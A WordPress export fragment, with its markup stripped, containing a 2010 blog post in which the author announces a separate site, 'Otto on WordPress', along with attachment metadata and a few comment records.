    Joseph Ducreux http://ottodestruct.com/blog/2010/ottopress-a-new-blog/ducreuxwp1/ Tue, 16 Mar 2010 21:12:01 +0000 http://ottodestruct.com/blog/wp-content/uploads/2010/03/Ducreuxwp1.jpg 708 2010-03-16 16:12:01 2010-03-16 21:12:01 open open ducreuxwp1 inherit 706 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2010/03/Ducreuxwp1.jpg _wp_attached_file 2010/03/Ducreuxwp1.jpg _wp_attachment_metadata a:6:{s:5:"width";s:3:"590";s:6:"height";s:3:"775";s:14:"hwstring_small";s:22:"height='96' width='73'";s:4:"file";s:22:"2010/03/Ducreuxwp1.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:22:"Ducreuxwp1-114x150.jpg";s:5:"width";s:3:"114";s:6:"height";s:3:"150";}s:6:"medium";a:3:{s:4:"file";s:22:"Ducreuxwp1-300x394.jpg";s:5:"width";s:3:"300";s:6:"height";s:3:"394";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} _wp_attachment_image_alt Joseph Ducreux, original pimp. Ottopress - A New Blog http://ottodestruct.com/blog/2010/ottopress-a-new-blog/ Tue, 16 Mar 2010 21:17:24 +0000 http://ottodestruct.com/blog/?p=706 Joseph Ducreux, original pimp.[/caption] For those of you who read this site for my WordPress knowledge, code, rants, or what have you, I'm writing this to point you in a new direction. I've started a new site just for that sort of thing: Otto on WordPress. Despite the name, I plan on putting other things there too, including code and other geekery. Partially I'm doing it because I feel that I want to post more personal information type stuff here. More stuff about Memphis and what I'm up to and photo libraries and such, and my friends aren't much into that sort of thing. Partially I'm doing it because I'd like to build more of a personal brand. But, mostly I'm doing it because the ottopress.com domain name was available and I liked it. :) I won't be eliminating all geekery from this site, but it will be significantly toned down. Maybe. Dunno yet. So, I'd suggest going over there if you like my technical rantings and ravings, since those won't be here anymore. Also, this site may not be busy for a while. It'll take a while to get into the swing of things, and I may start pulling more smaller microblog type posts in here. So if you want to switch your subscription around, now would be the time, while I make the changes. For those people subscribing only to my WordPress tagged posts feed (I know there's a few), I've redirected that feed now. You don't have to switch, though you may want to. And if you suddenly got a bunch of repeat posts, that's why. I moved a few of them over there when setting up. So there you go. BTW, if you're not subscribing to my feeds, but prefer to use Facebook or Twitter, then I've separated some of that all out now too. You can follow Otto on WordPress on Facebook here: http://www.facebook.com/apps/application.php?id=334947428931 You can follow this blog, Nothing to See Here, on Facebook here: http://www.facebook.com/apps/application.php?id=116002660893 And you can follow both of them on Twitter here: http://twitter.com/ottodestruct (Still working on this one, it's not 100% reliable yet). ]]> 706 2010-03-16 16:17:24 2010-03-16 21:17:24 open open ottopress-a-new-blog publish 0 0 post 0 _edit_lock 1268774439 _edit_last 1 btc_comment_counts a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"1";s:7:"enabled";s:1:"1";}} btc_comment_summary a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"1";s:7:"enabled";s:1:"1";}} _revision-control 0 _fb_post_id_profile 531132304_384802832304 btc_post a:6:{s:2:"ID";s:3:"706";s:13:"post_date_gmt";s:19:"2010-03-16 21:17:24";s:23:"initial_import_date_gmt";s:19:"2010-03-16 21:20:07";s:20:"last_import_date_gmt";s:19:"2010-04-05 12:06:10";s:4:"hits";s:1:"1";s:6:"misses";s:3:"254";} btc_twitter 7869 7876 abnabat.setare@gmail.com http://www.istgah118.ir 69.175.79.68 2010-03-28 09:45:09 2010-03-28 14:45:09 spam 0 0 7871 inisayaaulia@yahoo.co.id http://www.bakawan.com/log/ 114.56.231.193 2010-03-17 01:49:12 2010-03-17 06:49:12 1 0 0 7870 batmoo@gmail.com http://digitalize.ca 174.90.218.85 2010-03-16 17:31:17 2010-03-16 22:31:17 1 0 0 7869 http://twitter.com/ottodestruct 2010-03-16 16:18:45 2010-03-16 21:18:45 Ottopress – A New Blog http://goo.gl/fb/rKE7

    This comment was originally posted on Twitter

    ]]>
    1 0 0